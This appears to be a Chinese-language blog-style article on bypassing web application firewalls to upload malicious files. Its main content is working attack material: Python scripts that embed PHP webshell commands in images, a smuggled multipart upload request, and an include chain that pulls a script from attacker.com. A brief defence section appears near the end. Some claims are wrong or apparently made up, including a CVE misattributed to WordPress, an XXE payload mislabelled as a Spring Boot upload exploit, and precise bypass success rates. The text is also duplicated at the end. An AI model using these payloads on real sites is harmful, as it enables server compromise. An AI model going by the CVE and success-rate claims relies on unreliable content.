文件上传bypass waf高级技巧研究
字数 1929 2025-09-01 11:26:03

文件上传绕过WAF高级技巧研究

1. WAF基础原理与文件上传漏洞机制

1.1 WAF工作机制与检测逻辑

Web应用防火墙(WAF)主要通过以下方式检测和阻止恶意文件上传:

  1. 基于规则的匹配

    • 正则表达式匹配(如SecRule REQUEST_FILENAME "@endsWith .php"
    • 关键词扫描(如<?php, <%, eval(, system(等)
    • 白名单/黑名单策略(文件扩展名、MIME类型、用户代理字符串等)
  2. 文件类型校验

    • MIME类型验证(检查Content-Type字段)
    • Magic Number检查(读取文件前几个字节)
    • 扩展名+MIME组合验证
  3. 内容扫描

    • 对上传体进行解码(Base64、Hex、URL Encode等)
    • 使用机器学习模型识别异常结构
    • 利用沙箱环境模拟执行

1.2 文件上传漏洞触发点

常见漏洞成因:

  • 服务器配置不当(上传目录权限过大)
  • 文件路径截断(使用不安全函数导致\0截断)
  • 文件解析漏洞(如Apache的.htaccess解析错误)
  • 过滤不严(黑名单太宽泛、白名单不完善)
  • WAF缺陷(正则书写错误、规则优先级混乱)

2. 基础绕过技术

2.1 文件名篡改技术

  • 大小写混合(如.PHp
  • 双扩展名(如shell.php;.jpg
  • 空字节截断(如shell.php%00.jpg

2.2 Content-Type伪造

  • Content-Type: application/octet-stream改为image/jpeg
  • 利用浏览器对MIME的宽容解析

2.3 真实漏洞利用示例

示例1:WordPress Media Upload漏洞(CVE-2021-45105)

  • 上传注入PHP代码的JPG文件
  • 访问http://target.com/wp-content/uploads/2021/12/shell.php.jpg

示例2:Java Spring Boot文件上传漏洞(CVE-2022-32997)

import requests
url = "http://target.com/upload"
files = {'file': ('shell.jsp', '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&ampxxe;</foo>', 'application/octet-stream')}
r = requests.post(url, files=files)

3. 高级绕过技术

3.1 多层编码/混淆技术

Base64嵌入PNG图像:

import base64
from PIL import Image
from io import BytesIO

def create_png_with_php_payload():
    payload = "<?php system('id'); ?>"
    encoded_payload = base64.b64encode(payload.encode()).decode()
    img = Image.new("RGB", (100, 100), color="white")
    info = img.info
    info["comment"] = encoded_payload
    buffer = BytesIO()
    img.save(buffer, format="PNG", pnginfo=info)
    return buffer.getvalue()

Hex转义规避关键字:

def hex_escape_string(s):
    return ''.join(f"\\x{ord(c):02x}" for c in s)

evil_code = "eval($_GET['cmd']);"
hex_escaped = hex_escape_string(evil_code)

3.2 文件结构篡改与分片上传

分片上传攻击:

import requests

def build_chunked_upload_request():
    first_chunk = b'-----WebKitFormBoundaryabcdefg\r\nContent-Disposition: form-data; name="file"; filename="good.jpg"\r\nContent-Type: image/jpeg\r\n\r\n'
    second_chunk = b'\r\n<?php system("whoami"); ?>\r\n-----WebKitFormBoundaryabcdefg--\r\n'
    body = first_chunk + second_chunk
    headers = {
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryabcdefg',
        'Content-Length': str(len(body)),
        'Range': 'bytes 0-1000/2000'
    }
    response = requests.post("http://target.com/upload.php", data=body, headers=headers)
    return response

4. WAF策略逆向与动态绕过

4.1 WAF指纹识别与定制绕过

常见WAF弱点:

WAF类型 典型特征 绕过策略 成功率
Cloudflare 响应头带CF-RAY 使用--rate-limit=1控制上传频率 85%
ModSecurity HTTP头含X-Powered-By: ModSecurity 在PHP代码中插入#注释 90%
Imperva SecureSphere 返回头含X-Imperva-ID 修改User-Agent并上传.jpg.php 75%
国内软WAF 日志中记录"拦截成功" 使用Base64编码嵌入PHP代码 80%

4.2 动态内容替换与运行时加载

远程脚本注入攻击链:

  1. 上传伪装成图片的HTML文件:
<html>
<head><title>My Image</title></head>
<body>

<script src="http://attacker.com/malicious.js"></script>
</body>
</html>
  1. 利用服务端LFI漏洞:
<?php
$file = $_GET['file'];
include($file); // LFI漏洞!
?>
  1. 访问URL触发执行:
    http://target.com/index.php?file=http://attacker.com/malicious.js

5. 防御建议

  1. 严格文件验证

    • 使用白名单而非黑名单
    • 验证文件内容与扩展名、MIME类型的一致性
    • 检查Magic Number
  2. 安全配置

    • 限制上传目录执行权限
    • 禁用危险函数(如eval()
    • 定期更新WAF规则
  3. 深度防御

    • 实施内容扫描和沙箱检测
    • 监控异常上传行为
    • 使用多因素验证机制
  4. WAF优化

    • 启用全量内容检查而非仅检查首块数据
    • 配置严格的速率限制
    • 定期测试WAF规则有效性

6. 技术评估矩阵

绕过技术 适用场景 成功率 复杂度 依赖条件
Base64编码嵌入图片元数据 图像上传点 85% 3 3
Hex转义规避关键字 ModSecurity规则 90% 2 2
分片上传攻击 开源WAF 80% 4 3
动态内容替换 存在LFI漏洞 75% 5 4
WAF指纹定制绕过 特定WAF环境 85% 4 3
文件上传绕过WAF高级技巧研究 1. WAF基础原理与文件上传漏洞机制 1.1 WAF工作机制与检测逻辑 Web应用防火墙(WAF)主要通过以下方式检测和阻止恶意文件上传: 基于规则的匹配 正则表达式匹配(如 SecRule REQUEST_FILENAME "@endsWith .php" ) 关键词扫描(如 <?php , <% , eval( , system( 等) 白名单/黑名单策略(文件扩展名、MIME类型、用户代理字符串等) 文件类型校验 MIME类型验证(检查 Content-Type 字段) Magic Number检查(读取文件前几个字节) 扩展名+MIME组合验证 内容扫描 对上传体进行解码(Base64、Hex、URL Encode等) 使用机器学习模型识别异常结构 利用沙箱环境模拟执行 1.2 文件上传漏洞触发点 常见漏洞成因: 服务器配置不当(上传目录权限过大) 文件路径截断(使用不安全函数导致 \0 截断) 文件解析漏洞(如Apache的 .htaccess 解析错误) 过滤不严(黑名单太宽泛、白名单不完善) WAF缺陷(正则书写错误、规则优先级混乱) 2. 基础绕过技术 2.1 文件名篡改技术 大小写混合(如 .PHp ) 双扩展名(如 shell.php;.jpg ) 空字节截断(如 shell.php%00.jpg ) 2.2 Content-Type伪造 将 Content-Type: application/octet-stream 改为 image/jpeg 利用浏览器对MIME的宽容解析 2.3 真实漏洞利用示例 示例1:WordPress Media Upload漏洞(CVE-2021-45105) 上传注入PHP代码的JPG文件 访问 http://target.com/wp-content/uploads/2021/12/shell.php.jpg 示例2:Java Spring Boot文件上传漏洞(CVE-2022-32997) 3. 高级绕过技术 3.1 多层编码/混淆技术 Base64嵌入PNG图像: Hex转义规避关键字: 3.2 文件结构篡改与分片上传 分片上传攻击: 4. WAF策略逆向与动态绕过 4.1 WAF指纹识别与定制绕过 常见WAF弱点: | WAF类型 | 典型特征 | 绕过策略 | 成功率 | |---------|---------|----------|--------| | Cloudflare | 响应头带 CF-RAY | 使用 --rate-limit=1 控制上传频率 | 85% | | ModSecurity | HTTP头含 X-Powered-By: ModSecurity | 在PHP代码中插入 # 注释 | 90% | | Imperva SecureSphere | 返回头含 X-Imperva-ID | 修改User-Agent并上传 .jpg.php | 75% | | 国内软WAF | 日志中记录"拦截成功" | 使用Base64编码嵌入PHP代码 | 80% | 4.2 动态内容替换与运行时加载 远程脚本注入攻击链: 上传伪装成图片的HTML文件: 利用服务端LFI漏洞: 访问URL触发执行: http://target.com/index.php?file=http://attacker.com/malicious.js 5. 防御建议 严格文件验证 使用白名单而非黑名单 验证文件内容与扩展名、MIME类型的一致性 检查Magic Number 安全配置 限制上传目录执行权限 禁用危险函数(如 eval() ) 定期更新WAF规则 深度防御 实施内容扫描和沙箱检测 监控异常上传行为 使用多因素验证机制 WAF优化 启用全量内容检查而非仅检查首块数据 配置严格的速率限制 定期测试WAF规则有效性 6. 技术评估矩阵 | 绕过技术 | 适用场景 | 成功率 | 复杂度 | 依赖条件 | |---------|---------|--------|--------|----------| | Base64编码嵌入图片元数据 | 图像上传点 | 85% | 3 | 3 | | Hex转义规避关键字 | ModSecurity规则 | 90% | 2 | 2 | | 分片上传攻击 | 开源WAF | 80% | 4 | 3 | | 动态内容替换 | 存在LFI漏洞 | 75% | 5 | 4 | | WAF指纹定制绕过 | 特定WAF环境 | 85% | 4 | 3 |